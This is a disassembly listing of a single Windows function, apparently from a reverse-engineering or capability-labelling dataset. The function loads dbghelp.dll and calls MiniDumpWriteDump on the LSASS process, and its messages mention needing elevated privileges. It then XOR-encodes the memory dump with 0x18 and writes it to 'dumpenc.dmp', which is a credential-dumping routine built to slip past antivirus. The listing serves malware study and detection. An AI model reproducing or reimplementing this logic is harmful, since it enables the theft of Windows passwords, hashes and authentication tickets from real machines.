Function at 0x140050794
Capabilities:
Write file on windows

Disassembly:
jmp 0x1400562b0
push rbp
push rdi
sub rsp, 0x2a8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x6a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1402ea040]
xor rax, rbp
mov qword [rbp + 0x250], rax
lea rcx, [0x1402f10fa]
call fcn.14005094c
nop
lea rcx, str.dbghelp.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140056324
lea rdx, str.Unable_to_locate_dbghelp.dll_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140050113
nop
mov eax, 1
jmp 0x1400565ec
lea rdx, str.MiniDumpWriteDump
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x28], rax
call fcn.14005028f
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x140056367
lea rdx, str.Unable_to_open_LSASS_Handle__Make_sure_to_run_this_program_with_elevated_privileges.__n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140050113
nop
mov eax, 1
jmp 0x1400565ec
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x10000000
lea rcx, str.dumpenc.dmp
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 0x68], rax
mov ecx, 0x6400000
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x88], rax
mov ecx, 0x10
call fcn.14005006e
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0x218]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
mov dword [rax + 8], 0
mov rax, qword [rbp + 0xa8]
mov rcx, qword [rbp + 0x88]
mov qword [rax], rcx
mov r8d, 0x10
xor edx, edx
lea rcx, [rbp + 0xc8]
call fcn.14005072b
nop
lea rax, [0x14005097e]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0xd0], rax
mov rdx, qword [rbp + 0x88]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
lea rdx, [0x140050893]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
lea rdx, [0x1400f3ef4]
mov rcx, rax
call fcn.140050113
nop
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
lea rcx, [rbp + 0xc8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 2
xor r8d, r8d
mov edx, eax
mov rcx, qword [rbp + 0x48]
call qword [rbp + 0x28]
mov dword [rbp + 0xf4], eax
mov rax, qword [rbp + 0xa8]
mov eax, dword [rax + 8]
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x118], rax
mov dword [rbp + 0x134], 0
jmp 0x1400564c7
mov eax, dword [rbp + 0x134]
inc eax
mov dword [rbp + 0x134], eax
mov rax, qword [rbp + 0xa8]
mov eax, dword [rax + 8]
cmp dword [rbp + 0x134], eax
jae 0x140056501
movsxd rax, dword [rbp + 0x134]
mov rcx, qword [rbp + 0x88]
movzx eax, byte [rcx + rax]
xor eax, 0x18
movsxd rcx, dword [rbp + 0x134]
mov rdx, qword [rbp + 0x118]
mov byte [rdx + rcx], al
jmp 0x1400564b9
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rax, qword [rbp + 0xa8]
mov r8d, dword [rax + 8]
mov rdx, qword [rbp + 0x118]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
nop
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ucrtbased.dll_free]
nop
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0x238], rax
mov edx, 0x10
mov rcx, qword [rbp + 0x238]
call fcn.1400507b7
cmp qword [rbp + 0x238], 0
jne 0x14005656e
mov qword [rbp + 0x248], 0
jmp 0x140056587
mov qword [rbp + 0xa8], 0x8123
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0x248], rax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp dword [rbp + 0xf4], 0
jne 0x1400565b8
lea rdx, str.Unable_To_creat_dump_____n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140050113
nop
mov eax, 1
jmp 0x1400565ec
lea rdx, str.Created_Dump_file
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140050113
lea rdx, str.dumpenc.dmp
mov rcx, rax
call fcn.140050113
lea rdx, [0x1400f3ef4]
mov rcx, rax
call fcn.140050113
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x1400f3520]
call fcn.1400507c6
mov rax, rdi
mov rcx, qword [rbp + 0x250]
xor rcx, rbp
call fcn.1400504a6
lea rsp, [rbp + 0x268]
pop rdi
pop rbp
ret